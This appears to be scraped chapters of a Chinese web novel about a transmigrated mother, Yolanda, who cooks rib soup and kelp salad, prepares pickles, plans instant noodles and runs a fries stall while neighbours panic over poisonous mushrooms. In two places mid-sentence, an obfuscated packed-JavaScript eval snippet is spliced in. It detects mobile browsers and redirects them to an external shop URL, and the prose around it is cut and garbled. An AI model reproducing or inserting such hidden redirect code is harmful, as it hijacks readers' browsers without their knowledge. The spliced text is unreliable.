“对对对，西芙拉，快点来帮忙，”菲奥娜冲着屋内大喊，“我们采了太多蘑菇，车子都要压塌了，我一个人搬不动！” 片刻，木门“吱呀”一声拉开。 西芙拉姗姗来迟，垂头耷脑快步走到马车旁，一声不吭的配合妹妹搬箩筐。 菲奥娜捧出一把鲁冰花，献宝似的晃了晃，“看，漂亮吗？妈妈摘的，我们一人一半好不好？” 西芙拉抬眼看了看鲁冰花，眼珠子悄悄瞥向后侧方，正对上老母亲望来的视线。 她眼神慌乱地游移了一下，飞快飘回鲁冰花上，含糊应声，“当然，很漂亮，随你。” 尤兰达眯了眯眼。 不对劲，西芙拉竟然没有抱怨。 尤兰达沉吟几秒，调转脚步去前面的铺子查看。 杂木桌子沿墙摆放，凳子整齐架在桌面，等待打扫后重新归置。 她数了一遍，数量没问题。 折回厨房，新送来的土豆、番茄装满两大箩筐，份量和品质都没问题。 流理桌上，广口藤编篮湿漉漉，水渍漫上桌面，留下一滩深色印记，扒开层层包裹的海带，检查一番藏海带下面的生蚝，也没发现什么毛病。 尤兰达回到院中，怀疑目光不住往西芙拉身上扫。 孩子静悄悄，必定作过妖，到底作了什么妖，她还不得而知。 尤兰达暂且压下小心思，指挥两人搬菌菇，回起居室取来半匹粗麻布，对半裁成两块。 一块，铺在地窖地面，一块，铺在柴棚顶，新砍的湿柴沿着边角压实，以防被晚风吹跑。 准备工作就绪，尤兰达找来干净箩筐，又搬来两个矮凳，招手让女孩们坐下。 “先处理黑木耳，它们不算多。”她拿起一朵黑木耳，放慢动作演示：“看着，拍去附着在上面的浮土和枯叶，再丢去干净箩筐里，就这么简单。 千万不要想着洗它，弄完黑木耳记得叫我，我教你们怎么处理鸡腿菇。” 鲜菌过夜即坏，必须连夜处理，她们采了大约130斤品相完好的嫩菌菇，这一晚有的忙。 野韭菜也是个娇气的，虽说放一夜不伤人，但这东西离土即失香，过午便失嫩，从山珍到老野菜，只需一晚的时间，自然是越快越好。 两个小姑娘蔫蔫地耷拉着脑袋，不是已经采完菌菇了吗？怎么还有这么多活啊。 尤兰达提高声调抛出一句：“好好干，我去给你们做玉米排骨汤，保证你们没吃过。” 菲奥娜撅着嘴，满脸不乐意，西芙拉虽然也不乐意，但表现的不明显。 西芙拉果然不对劲。 尤兰达亲眼看着她们处理完几个黑木耳，手法倒也利落，放心回到厨房。 生蚝今晚是顾不上了，她抽出当垫布用的长海带，整篮生蚝收进空间。 至于海带，确实是个好东西，尤兰达没想到它会做为赠品出现。 黑森王国的人几乎不吃海带，大家嫌弃它有浓重的海味，沿海渔民会收集一些晒干当储备粮。 城里买海带难度大，买的人少，卖的人更少，像蚝郎那样采海带给海鲜当垫布盖布的才是大多数。 她掂了掂手里海带，脑筋飞转，盘算起晚饭。 一份凉拌海带丝，一份玉米排骨汤，再切几片白面包，主食主菜配菜都齐活了。 定好菜单，尤兰达手脚麻利的取下两根猪肋骨，剁成小块放进陶盆里，撒上粗麦粉。 黑森王国的猪肉不骚，但腥气重，估计和当地人杀猪放血的不到位有关。 怕猪腥味坏了她一锅汤，尤兰达搓洗时格外注意，麦粉搓一遍，冲洗两次，再搓一遍，再冲洗两次。 如此反复，等她捡起一块排骨嗅闻，气味果然清新许多。 泥炉生火，架上陶锅，洗净的排骨倒进锅，扔几片姜、几段蒜，水加到满，小火慢慢炖着。 趁这会间隙，海带扔进盆里搓洗几遍，洗去上面的海腥味和黏液，切成粗长条，加姜片一起泡进清水里。玉米剥去外衣和须，切成两指宽的小段，胡萝卜滚刀切，放一旁备用。 料理好配菜，另起一口泥炉烧热水，水开后加葱姜和海带一起焯水，4、5分钟便可出锅。 新鲜海带泡久一点更好，她达着急用，只好多放点大料压压味。 这边，海带刚捞出来沥水，另一边，锅里的排骨渐渐煨出香气，该下玉米和胡萝卜了。 好不容易排骨汤告一段落，没喘几口气，她又该忙活凉拌海带丝。 一半海带切成菱形，留着加进排骨汤里炖，剩下一半改切成细丝，堆进陶碗。 接下来是准备料汁。 昨天做好的辣椒面辣椒油派上了用场，两样都少放一点，加蒜末、葱花、欧芹叶，撒一撮盐、一大勺苹果醋，以及一小勺麦芽糖，搅拌均匀静置。 略等了两分钟，她心急地捏起一根海带丝送进嘴里。 别说，还真挺像那么回事。 “妈妈，我们该料理鸡腿菇了。”菲奥娜的呼喊从院子里传来。 尤兰达应声，擦擦手，顺便为她们带去一盏油灯。 “鸡腿菇和木耳一样，拍掉外面的土块枯叶，我采摘的时候简单处理过，你们只需要清洗一下。清洗的时候要注意，放进水里荡两下就赶紧拿出来，用干布吸掉上面水份，然后把它撕成条，如果你们喜欢用刀切成片也可以。” 菲奥娜听得眉头直皱，“好麻烦。” 谁说不是呢，摘蘑菇一时爽，洗蘑菇火葬场。 尤兰达帮着处理了大半鸡腿菇，厨房里，排骨汤的香气一阵浓过一阵，顺着夜风直往院子里飘。 菲奥娜手里动作不自觉放慢，深吸一口气，“这真的是猪肋骨能有的味道？” 西芙拉自己都不太确定：“我保证，我只买了猪肋骨。” 又没穷到吃不起饭，谁家正经人会买肋骨回去啃啊，肉少骨头多的，烤熟了有时连肉都扒不下来几口，不划算。 至少在她们的记忆里，只有仆人们偶尔啃两根解馋。 她们没吃过猪肋骨，猪肉可没少吃，煮的烤的炖的，猪颈肉猪胸肉猪脊背肉，但没有哪次比排骨汤惊艳。 太香了，闻不到一点猪肉的腥气，连想象的中辛香料的味道都没怎么闻见。 尤兰达见时间差不多，回厨房揭开锅盖加海带片，撒上盐和葱花调味，继续焖。 等凉拌菜入味，白面包切成厚片，这会，排骨汤也完成了最后一道工序，灭掉炉火端上餐桌。 两人欢呼一声，丢掉手里鸡腿菇，三步并做两步冲去桌边落座。 一坐下，两人立即被眼前的一碗绿夺走了目光。 红色的油浮在橄榄绿的表面，细长的绿丝盘绕，油亮亮，气味也很独特。 两人异口同声：“这是什么？” 土豆切成条、剁成块、削成片，好歹能认出来，眼前的绿长条，她们认不出半点，印象里压根没吃过类似的食物。 尤兰达笑容微妙：“先尝尝，吃完了告诉你们。” 两人对视一眼，几乎是同时举起叉子。 “嘶——它咬我舌头！” 菲奥娜想吐舍不得吐，这玩意闻起来没多少冲鼻子的劲儿，吃着倒有点芥末的味呢。 但……怪好吃的。 “酸的，是苹果醋吧？”西芙拉咯吱咯吱咀嚼着，试图分析出什么，可嚼来嚼去，陌生的口感让她越来越模糊。 尤兰达托着腮，慢悠悠说：“不用怀疑，你们从来没吃过，或者说，当成食物吃过。” 话落音的瞬间，西芙拉和菲奥娜的脸唰一下变了色，犹如海带一样绿。 绝望之际，尤兰达好心公布答案：“海带，听说过吗？海边渔民们常吃的食物，长在海里，是一种海草。” 两人齐齐呼出一口气，绷紧的脸蛋舒缓些许。 海草啊，是草就好。 她们真怕妈妈弄来什么奇奇怪怪的东西。 虽然海带本身已经够奇怪的了。 菲奥娜嘶嘶吸气，手掌做扇在嘴边扇风，不忘追问：“咬我的是什么？它让我感觉很不妙。” 尤兰达不好意思的挠头，这次是她夹带私货了，凉拌海带丝没有辣椒哪能好吃啊。 “那个啊，昨天做的辣椒记得吗？就是它。” 菲奥娜一片茫然，努力将嘴里的辣椒和昨天那堆红彤彤的东西划上等号。 西芙拉反应了一会，震惊：“等等，辣椒？那不是只有病人才吃的东西？” 菲奥娜愣了好一会，是啊，这是药不是菜。 家里常备辣椒，然而真正用到它的时候很少，经常挂着挂着变成了干瘪的皮。 冬天冻生病时，厨娘十分谨慎的摘一点点辣椒磨成粉，和蜂蜜一起兑成水灌进肚子。 谁没事会把这东西当香料吃？ 西芙拉神情变幻，菲奥娜一脸“我怎么把药吃了”的复杂。 尤兰达挑眉：“好吃吗？” 起居室足足沉寂了四五秒。 被大人骗着吃药的两个小姑娘认真回味片刻，慎重给出评价：“……好吃。” 不太想承认，辣椒和海带丝的搭配，确实有亿点好吃。 尤兰达顿时笑眯眯，这俩孩子太有品了。 陶锅往两人面前送了送，“喏，玉米排骨汤，面包片沾着汤吃，绝对不会让你们失望。” 两人扒着桌沿伸出头去，红的萝卜、黄的玉米、绿的葱花，汤色清亮微金，油花细薄，软烂的排骨肉香沉厚，叉子一拨，骨肉轻易分离。 这种菜式，她们头一次见。 祷告结束，菲奥娜率先出击，勺子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296021|197182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 精准捞起一块排骨，顾不上烫就往嘴里送。 舌尖刚触到肉，她眼睛倏地瞪大了，嚼了两下，整个人愣住。 “怎么了？”西芙拉不明所以。 菲奥娜没回答，又咬了一口，咽下去后，她低头看了看手里的排骨，又抬头看看汤锅，再看看尤兰达，满脸写着难以置信。 “这……是猪肉？” 菲奥娜怀疑自己的嘴巴和鼻子都出了问题。 排骨汤在锅里咕嘟咕嘟炖煮的时候，闻着就没个猪肉味，现在吃进嘴里，就更不像了。 西芙拉舀起一勺汤，小心翼翼地抿了一口，汤入口的瞬间，她睫毛颤了颤。 再抿一口，眼睛亮了。 清而不淡，浓而不油，肉香混着玉米的清甜，海带的鲜恰到好处，温热汤汁滑进喉咙，满口鲜香，从舌尖一路暖到胃里。 西芙拉瞬间理解菲奥娜为什么会发出如此傻气的疑问。 她也不禁生出相似的困惑，“猪肉……是这个味吗？” 她们不懂火候，不懂叫调料，不懂锅具的选择会带来什么变化。她们只吃出来一点，同样是猪肉，今天的食材和以前的，完全不一样。 如果锅里的是猪肉，她们以前吃过的猪算什么？ 菲奥娜已经顾不上说话，她放弃叉子勺子，左手一根排骨，右手一块玉米，啃一口排骨，咬一口玉米，再吸溜一口汤，忙得不可开交。 啃到一半，忽然想起什么，抓起一块白面包往汤里蘸。 面包吸饱汤汁软塌塌的，她一口塞进嘴里，配一根辣舌头的海带丝，嚼着嚼着，眼眶微红，鼻子抽动两下。 真好吃啊。 西芙拉抽空嘲笑妹妹：“没出息，怎么还吃哭了？” 菲奥娜吸了吸鼻子，大声强调：“我没哭，是海带太辣了。我真心疼以前吃过的猪肉，它们死得不明不白。” 前半句她不做评价，后半句，西芙拉深有同感地点点头，又给自己舀了一碗汤。 菲奥娜双眼迷离：“它们一定是去了天堂的猪，普通的猪不会是这个味。” 尤兰达嘴角抽搐，强忍着没有开口。 猪有没有上天堂她不好说，不过她确实是从天堂来的。 西芙拉懒得理妹妹，面包撕成小块，仔细擦着碗底残余的汤汁。 两人埋头苦吃，只听见勺子碰碗沿的叮当声，和偶尔冒出的“嘶哈”。 尤兰达刚忙完，太累了反而没胃口，拄着脑袋看她们进食。 口口声声说不吃辣椒的女孩们，凉拌海带丝吃没停，斯哈斯哈活像养了两条蛇。 看她们对海带接受度良好，尤兰达心里有底了。 回头就找蚝郎订一批海带。 海带多好啊，便宜量多，晒干了当储备粮再合适不过。 尤兰达给自己盛了一晚汤，冷不丁开口：“小西，今天做了什么对不起妈妈的事？” 西芙拉手里的叉子明显顿了一下。 “没、没有啊。”她低头戳碗里的排骨，金色脑袋反射出一圈光晕：“我今天什么都没做。” 尤兰达定定地看着她。 西芙拉浑身发毛，干咳一声，干巴巴道：“哦对了妈妈，有一件事我忘记说，洗衣坊的女工上门收衣服，我把这几天的脏衣服全部送去了，多付了十个铜币。” 尤兰达没接话，她知道西芙拉不是计较十铜币的性子，明显在转移话题。 好在西芙拉表情不算太慌张，估摸不算什么大事，她迟早会知道的。 “砰砰砰——” “汪汪汪！汪汪——” 远处忽然传来嘈杂动静，狗吠中夹杂了拍门声，有人似乎呼喊着什么，听不真切，在寂静祥和的蓝调时刻里格外突兀。 尤兰达侧耳听了听，没听出外面到底发生了什么。 “费尔南多夫人？是我，小约翰。”院门忽然被人敲响。 西芙拉逃似的跑去开门，没一会，小约翰拎着桶跟在后面走进院子。 尤兰达好奇打听：“小约翰，外面出什么事了？” 小约翰乖巧站定，脸上一股新鲜劲：“夫人，外面好热闹，有几位夫人正在海螺巷和矮人巷到处敲门呢，喊可大声了。” 尤兰达吃瓜心切，快步来到院门处，探头往巷子方向望。 道上没个路灯，全靠各家各户窗户里透出的昏暗光线勉强照出轮廓，模糊间，能看出有几个奔跑的黢黑身影。 尤兰达看不出个所以然，兴致缺缺缩回脑袋，继续吃晚饭。 家里还有一堆菌菇等着处理呢。 此时的街巷深处，除了断断续续的喧嚣，各家的抱怨频频飘出。 粮铺： “今天怎么了？吵吵闹闹的……都上山跑一天了，不知道累吗？” “别说了，赶紧睡吧，明天把柴劈了晒干。” 肉铺： “上帝啊，外面是怎么了，恶龙飞进皇城了吗？” “别管恶龙了，快帮我算账。” 酒坊阁楼： “噢~又是谁家。刚刚飘过来的香味勾得我肚子咕咕叫，翻来覆去睡不着，好不容易把馋虫按下去，巷子里又闹起来了，这还让不让人睡了？”年轻学徒辗转反侧，怨气满满。 “别管了亨利，睡吧……我太累了。”同伴发出迷糊嘟囔。 然而追寻“热闹”的源头，事情远比大家以为的要紧迫。 艾米丽和玛莎跌跌撞撞地跑在石板路上，喘息声格外粗重。 她们在一户亮着烛光的院子前停下，提起拳头往门上砸，一下比一下狠。 27.第 27 章 “砰砰砰——！” “开门！莉亚快开门！” 砸门声不断，惊得左右邻居家鸡飞狗叫，直到慌乱脚步走到门后，“吱呀”一声门开。 莉亚探出半个脑袋，油灯照出来人后愣了愣：“艾米丽？玛莎？你们……” “蘑菇！”艾米丽一把抓住她手腕，声音又尖又急，语无伦次：“今天采的蘑菇，吃了没有？千万别吃！” 莉亚一下子联想起傍晚发生在林子里的事，脸色刷的惨白。 “不、不会吧……真的有毒？” 艾米丽快哭出来了，嘴皮子颤抖根本说不利索，拼命点头回应。 玛莎来不及细说，快速道：“晚点再说，苏珊、埃米、莉娜都不知道这件事。上帝保佑，希望她们还没吃。” 莉亚闻言，慌慌张张跑回院子，抱来今天刚采的菌菇一股脑丢进门前的溪水里。 “我和你们一起，我去找苏珊。” 她冲屋里喊了一声“我出去一下”，提起裙摆慌忙赶去最近的苏珊家。 艾米丽和玛莎赶往别家，跑着跑着脚步发软，好几次差点绊倒。 她已经跑了半条海螺巷，身上实在没多少力气，全凭一股劲强撑着不敢停，好在有莉亚和玛莎帮忙。 艾米丽扶着粗糙石墙，弯下腰大口大口呼吸。夜风又冷又涩，灌进喉咙里激得她眼眶一阵发酸，控制不住涌出泪花。她抬手去擦，却越擦越多。 吓死了，她快吓死了。 从山上下来，回家的路上，苏珊一直讲述有关费尔南多的传闻，得知她是被赶出家门的富商夫人，艾米丽挂在心头的不安全部消散。 任谁言之凿凿的提醒她采的菌菇有毒，艾米丽都很难完全不当回事。 哪怕当时有许多熟识的夫人帮腔，哪怕她自己采过许多蘑菇，费尔南多的提醒到底像刺一样扎进了心里。 直到听说费尔南多出身富贵家庭。 苏珊虽然对费尔南多有偏见，不过她说的话有几分道理。 一个富商夫人，从前怕是连蘑菇都没亲手摸过吧？凭什么断定她采的有毒？ 艾米丽抹了一把脸，跟上同伴们的脚步，她要趁着天色尚早，尽快回家生火做饭。 丈夫带店里杂役去深山砍柴，通常不到天黑赶不回家，她得保证他们一进门就吃上食物，晚上早点休息才不会耽误第二天的生意。 晚饭照旧烤面包，搭配羊角芹小麦粥。她洗菜摘菜煮粥，忙到天色擦黑，晚饭做好的时候，丈夫终于和杂役们回来，还带回满满两车木柴。 艾米丽很高兴，这么多木柴，能为家里省去至少200铜币的买柴钱。 她帮着把木柴铺进院中晾晒，忙活了好一阵，忽然赶紧哪里不对劲。 太安静了，家里的狗竟然一声没吭。 小狗一岁大点，才从外面抱回来养，十分警觉，不管谁从院门进来都要汪汪叫上几声，没少被邻居找上门抱怨。 艾米丽心里隐隐不安，四处寻找一圈，最后在院角发现了它。 她松一口气，用脚推了推狗子，喊它起来吃饭。 然而连推十几下，大狗毫无反应不说，身体也没有了呼吸的起伏。 艾米丽意识到不对，心里一咯噔，抱起狗子进屋，借着烛光仔细一看，狗嘴里叼着半朵蘑菇。 牛肝菌，今天采的红色牛肝菌。 艾米丽浑身一软，抱着狗子瘫坐在地上。 死了。 狗被毒死了。 艾米丽如坠冰窟，丈夫的惊呼声、杂役们的脚步声，模模糊糊像隔了一层水。 等她回过神，双腿已经冲出院门，发疯一样往巷子里冲。 艾米丽慌极了，心里万分后悔。 费尔南多说的对，她该把蘑菇扔掉的。 - 尤兰达并不知晓，闹腾了大半个夜晚的动静，和她有着千丝万缕的联系。 凌晨时分的祷告钟声敲响，她已然累得魂不附体，捶着肩膀回房间休息。 第二日，她果不其然起迟了。 挪着酸疼的腿来到院中，尤兰达的疲累瞬间消失。 太多蘑菇了。 棚顶铺着一片黑木耳，阳光下泛着油亮的黑光。 地上筛子一字排开，满满当当晾着撕成条、切成片的鸡腿菇，白花花。 晒不到阳光的店铺、地窖、杂物棚下，榛蘑、鸡油菌成堆，全是她昨晚挑灯夜战的成果。 别看数量惊人，吃起来快得很，几顿小鸡炖蘑菇下去，估摸着就见底了。 尤兰达心痒痒，她还想上山捡蘑菇，漫山遍野的菌子，捡到就是赚到，不捡就是纯亏。 考虑现实情况，她不得不先按捺下来。、 街巷安排一个月进一次山没错，但那是针对砍柴打猎的，捡蘑菇挖野菜等，并不在规则之内。 也就是说，只要她想，今天可以去，明天可以去，随便哪天都能去，真正困扰她的问题在于人手不够。 尤兰达深吸一口气，先赚钱吧。 等三明治推出去，利润上来，雇得起杂役，她想去几趟去几趟。 星期一任务繁重，她活动一会筋骨，一头扎进备菜工作中。 切土豆不难，尤兰达演示过后，交由西芙拉和菲奥娜负责。 两人动作生疏笨拙，慢归慢，好歹足够细致。 尤兰达盯了一会，忙着去熬番茄酱，顺便把塞进空间过夜的野韭菜拿出来，两边同时开干，做泡菜鹿耳韭。 腌制野韭菜不难，最麻烦的步骤在于清洗。采的时候这个不错那个想要，洗的时候可要了她老命。 为了省事，她提前一晚带进空间处理过，有趁手的工具，到底比在院子里打井水快。 这一筐野韭菜着实不少，尤兰达分成两份，一份做泡菜鹿耳韭，一份做糖醋腌山葱叶，两份刚好能装满两个膝盖高的大坛子。 糖醋腌山葱叶简单，她一手忙着煮番茄酱，一手熬煮糖醋料汁，游刃有余。 搁在前世，她喜欢用青梅汁当基底，眼下条件有限，退而求其次选择葡萄汁。 当地人腌菜大多选葡萄汁，她也随一次大流，再搭配同源的葡萄醋，正好保证口味一致。 有了酸甜的底子，再准备一盆凉白开，加半罐蜂蜜、一点点盐，小火煮开便成。 尤兰达尝一口料汁，幸福得直冒泡，脑子里已经安排好几天后吃什么肉，恨不得跳过这几天。 菜叶子一叠叠平铺进广口坛子，码放整齐，煮开的料汁直接倒，漫过叶子一两寸，压上一块洗干净的石板。 最后一步密封，她用了相对省事的办法。 坛口包上几层厚麻布扎紧，沿着外圈涂一层融化的羊脂蜡，趁着蜡没干透，赶紧倒扣配套的浅陶盘，等上几天就能开坛。 做好腌山葱叶，番茄酱才熬到一半，她继续准备泡菜酱。 泡菜鹿耳韭相对繁琐些，繁琐之处在于调泡菜酱。 苹果梨子洋葱要切碎，加上葱姜蒜一起捣成泥浆，纯手工着实有点费工夫，好在难度不大。 糯米粉她手里没有，用小麦粉代替效果差不太多，起到发酵、粘稠的作用即可。 当然，比起糯米粉稍微差了点，调酱过程中需少加点粉，才能达到糯米粉做出来的浓稠度。 小麦粉冷水下锅搅开，小火慢熬至稍微有点挂勺的状态最佳，趁热倒入果蔬泥、辣椒面搅拌，最后加盐、麦芽糖调味。 家里辣椒面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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除去老得咬不动的，一共有十三根，剥掉叶子去掉口感不好的根部，可食用的脆嫩部分加起来只剩下十多斤。 尤兰达不嫌少，全切成段抹上粗盐杀水，挤干水分后丢进锅里，和泡菜酱亲密接触，然后捞出装坛。 削下来莴苣根茎、皮、老叶子，则便宜了兔子和大G。 嫩莴苣叶不多不少，扔了可惜，吃吧一顿吃不完，尤兰达犹豫一会，到底没舍得浪费，擦着锅底残留的酱汁，一起扔进坛子里泡。 前有辣酱后有泡菜，等它们开坛，家里的面包可要遭殃了。 尤兰达一想到地窖厨房的坛坛罐罐，过不了两天，又要多几口装着干货的瓶子，当即回屋拿来羽毛笔，沾着墨水在陶器的表层写下腌制日期和名称。 “妈，番茄酱冒泡啦。”西芙拉大喊提醒。 尤兰达收好笔墨，匆匆赶回厨房，最后一锅番茄酱倒进罐子里，总算可以进入下一步流程。 铁锅倒油加热，接下来是准备薯条的初炸。 这一步骤，照样不需要尤兰达亲自动手，她只需眼睛多注意点，快到火候了支使西芙拉捞薯条。 尤兰达忙着切鳕鱼，腌制完鳕鱼，薯条完成初炸，热油无缝衔接炸鳕鱼排。 妈妈和姐姐忙得脚不沾地，菲奥娜也不能闲着，帮忙炒好燕麦捣成碎，又被妈妈使唤出门买白面包和葡萄叶。 批量组装的时候，尤兰达多煎了几片火腿，加进三明治里留着自家人当午饭吃。 没办法，这一早上兵荒马乱跟打仗似的，来不及单独做一顿饭。 等进入九月，冬季囤菜正式提上日程，一切杂事都要挤在备菜摆摊的间隙里进行，只会更忙。 尤兰达盘算着以后，惦记起给自己减减负。 要不……把方便面提上日程？ 28.第 28 章 念头一冒出来，尤兰达立刻判断出百分百的可行性。 做方便面听着难，实际相当简单，科技含量极低。 早在汉代时期，老祖宗就琢磨出来了，因耐放易携带，那时候拿它当军粮吃。 早饭午饭来不及做，抓一把面条扔进开水锅里煮两分钟就行。 想吃荤的，加肉汤；想吃素的，加菜码；想省事，调个料汁撒点盐和葱花也能对付一顿，比啃干巴面包强。 前世尤兰达一个人宅家的时候爱偷懒，没少琢磨怎么吃面条。 她越想越觉得靠谱，盘算了一下手头的东西，发现随时可以动手。 尤兰达打算做两种：一种油炸的，一种非油炸的。 油炸的简单，现代方便面的做法，古代有类似的产物，如馓子、伊府面。 面条煮熟，过凉水，沥干，扔进油锅里炸到金黄酥脆。做出来的面饼泡开快，口感好，缺点是费油。 非油炸的过程差不太多，优点是成本更低更耐放，制作过程相对来说简单，但晾晒步骤更耗费时间。 当然，下锅煮的时候也比油炸方便面需多煮几分钟，和挂面差不多。 面团擀成薄薄一大张，切成长条挂在杆子上阴干，叫面条。长条多做一步切成菱形片状，摊在筛子里晒，叫做面片。 无论面条还是面片，彻底干透后收起来，能放一年半载不坏。 关键是，能批量生产。 抽空揉一盆面，擀出来挂一院子，晒干了收起来够吃小半个月。 方便面自己吃省事，卖出去做成生意，那可是一整片蓝海。 一走就是一年半载的商队、船队，每年走上数月前去朝圣的信徒，永远在路上的游侠骑士……常年在外、居无定所的人，哪个能拒绝辛苦旅途中享用一顿热乎乎的面条？ 和现在流行的干粮比起来，方便面的优势太明显了。 意面要煮半天，干面包硬得硌牙，而她的方便面，开水一泡就行。味道更好，操作更简单，口味还能换着花样来。 再细分一下，粗麦粉、燕麦粉、白面粉做成三种档次，对应不同阶级，不愁没人买。 这生意有搞头！ 尤兰达想着想着，心头火热，嘴角翘了起来。 事不宜迟，今天收摊就采购麦粉，开干！ 尤兰达找到新的赚钱路子，手下的动作都轻快了几分。 她去柴棚检查新制作的蜂窝煤，弯腰捡起几团准备放上推车。 转身的瞬间，余光瞄见墙角秸秆堆，枯黄杂乱的杆子叶子下，露出几片暗色的东西。 尤兰达上前拨开秸秆，捡出碎片一拼，刚好拼出一口沾了油脂的陶锅。 她恍然，这就是西芙拉的秘密？ 这么想着，尤兰达直接喊来了西芙拉。 西芙拉听到声音从柴棚传来，心里忐忑。等她磨磨蹭蹭来到柴棚前，一眼瞧见她极力掩藏的碎陶锅大喇喇摆在地上，脸颊倏然涨红。 “天呐，妈妈你是怎么发现的？”她捂住脸，声音都变了调，“我明明藏得很严实了……” 尤兰达好整以暇地看她：“说说看，你都做什么了。” 西芙拉放下手，脸上红一阵白一阵，支支吾吾开口：“我……尝试了一下做三明治。” 她偷瞄尤兰达一眼，见妈妈没有发火的迹象，胆子大了一点： “我差点就成功了，谁知道锅突然炸开。我真的会做三明治，我向上帝发誓，是锅的问题！” 最后半句，她格外认真地强调。 尤兰达张了张嘴，那句“没关系，一口锅而已”硬生生噎了回去。 合着两人计较的根本不是同一件事。 西芙拉压根不觉得弄坏一口锅算什么大问题。 她早就想好了，趁妈妈不在家的时候偷偷找陶匠补上，就当这件丢人的事从来没发生过。 她真正耿耿于怀的，是三明治的失败，西芙拉可是信誓旦旦说过自己学会了的。 尤兰达就多余安慰她，西芙拉完全不需要。 她摆摆手，三明治失败的话题到此为止。 摆摊物品全部堆上车板，尤兰达回房间换粗麻布衣裳，西芙拉和菲奥娜不知道怎么了，蹑手蹑脚跟进跟出，眨巴眼睛瞅着她。 “又怎么了？”尤兰达被跟烦了，系着围裙问。 西芙拉小声说：“妈妈，你说过今天摆摊不需要我们的，对吗？” 菲奥娜补充：“我作证，妈妈你的确答应过。” 尤兰达想了想，是有这么回事。 她似笑非笑瞅两个孩子，转身去起居室的斗柜，拎出一袋子铜币抛给两人。 “喏，分着花吧。” 钱袋子抛出去，姐妹俩欢呼一声接过，伸着脑袋数钱，两人嘀嘀咕咕，盘算自己的小金库够买什么样的蝴蝶结。 尤兰达又抛去一个钱袋子，“回来的时候帮妈妈买点猪肉和韭葱，多买点葡萄叶和鸡蛋。对了，葡萄醋葡萄汁也多买几罐。” 两个孩子都不到18岁，但在黑森王国已经算成年人行列，该为婚育做准备的阶段，平时没少跟老师、家长系统学习管家采购等事项。帮忙跑腿买菜，她们完全做得到。 尤兰达一堆事要忙，家庭采购和一些杂事，她尝试着放权（甩锅）给她们负责。 到点了，她推着满载的板车出门，今天只有她一个人出摊。 路过巷子口的橡树，树下依旧聚了不少人，有男有女， 车轱辘吱呀吱呀，闲聊的邻居们立时止了声，不约而同看向尤兰达。 他们的眼神……尤兰达抖了抖，只觉莫名其妙。 她做了什么吗？ 尤兰达不记得哪里又招惹了她们，正要移开视线，惊异发现，竟然有几个眼熟的夫人朝她露出微笑。 虽然只是嘴角上扬了一个像素点，笑容也生硬复杂，但，确实是笑了的。 不是阴阳怪气的皮笑肉不笑，他们的眼神和神态都带出点别扭的友善，配合微妙的气氛，怪怪的。 尤兰达更加莫名其妙了。 她挠挠头，收回目光，推车离开。 身影走远，橡树下爆发了热烈的议论，“费尔南多”几个字频繁提起。 尤兰达听不到身后的议论，推着板车去工匠街小广场，交今天的摊位费。 领到铅牌，她熟门熟路往工匠街拐。 这次她不打算在街口摆摊，之前和年轻工匠约好星期一交三明治，为了客人方便找到她，尤兰达决定回到原地。 上午腌菜备菜忙不停歇，出摊比前几日稍晚，她不强求一定要原来的位置，只要距离不远就行。 她急急忙忙往街道深处走，走出去几十米，尤兰达发现，本该摆满小摊的绝佳位置，现在稀稀拉拉支起来两三成。 好些摊主就站在自家板车旁边，既不卸货也不支棚，东张西望四处打量，似乎等待着什么。 尤兰达纳闷了，街口的好位置都没人抢吗？ 她没多想，推车往上次摆摊的位置走，车轮碾过石板咕噜咕噜响。 走了没几步，身后跟着冒出一连串的咕噜咕噜，尤兰达一回头，有几个街边张望的摊主动了，慢悠悠跟在她后头，排队一样。 尤兰达脚步顿了顿，继续往前走。 又回头瞥一眼，这回跟上来的人更多了。 她走到上次那个位置，刚停下车—— “唰”的一下，左右两边空着的摊位瞬间被人占满。 晚了一步的摊主们遗憾摇摇头，却也没走远，以她为中心，向两边扩散开去，一个挨一个地支起摊来。 尤兰达：“……” 身边的邻居一边卸货一边扭头冲她笑，露出一口白牙： “嘿，薯条夫人，今天运气不错，能挨着你摆摊！” 尤兰达恍然，合着这帮人在等她呢。 她不由失笑，摇了摇头，弯腰开始收拾。 锅支起来，炉子生上火，酱罐摆齐整，营业！ 油锅一热，薯条一捧一捧下锅，滋啦声炸开后，摊子前立即长满了人。 “薯条夫人，我昨天等了你一下午。请给我两份。” “嗨，薯条夫人，你今天来迟了，我要三份薯条，弥补昨天没吃上的遗憾。” “给我两份薯条。真高兴见到你，薯条夫人，希望昨天的情况不会再发生了。” “薯条夫人，你怎么才来啊~” 等等，最后的泣音是怎么回事？ 尤兰达抬眼望去，对上新老顾客们一副看渣女的质问、幽怨、谴责目光，头皮发麻。 她只有一天没出摊啊！ “昨天是星期天，我以为你们不会来工匠街。”尤兰达没来由的心虚。 星期天，黑森王国的公共休息日。 所谓的休息日实际为“主日（Sunday）”，大多数信徒会在这天抛下一切事物，前去教堂礼拜。 城中立法，礼拜期间禁止“锤击、漂洗、织造”，所有产生噪音的商业行为都应避让或暂缓，渐渐演变为大家所说的公共休息日。 流动摊贩、面包坊、饭馆、酒馆、旅馆等属于例外，不惊动教堂的前提下，一般默许正常营业。 工匠街不说百分百，至少百分之八十的商铺，属于礼拜期间禁止营业的行业。 商铺不营业，工匠不工作，没了客流，尤兰达自然没必要来出摊，因此她一点也不心痛的选择去山上采山货。 “星期天只是不能上工，我们愿意为了薯条来工匠街一趟。” “薯条夫人，我们很多人就住在工匠街，或者不远的街道，你完全不用担心。” “老实说，昨天的我很希望做完礼拜能够吃上一口薯条。” 尤兰达嘴角抽搐。 上辈子自由职业，随心所欲惯了，穿越后反遭中世纪毒打，被迫过起上六休一的日子。 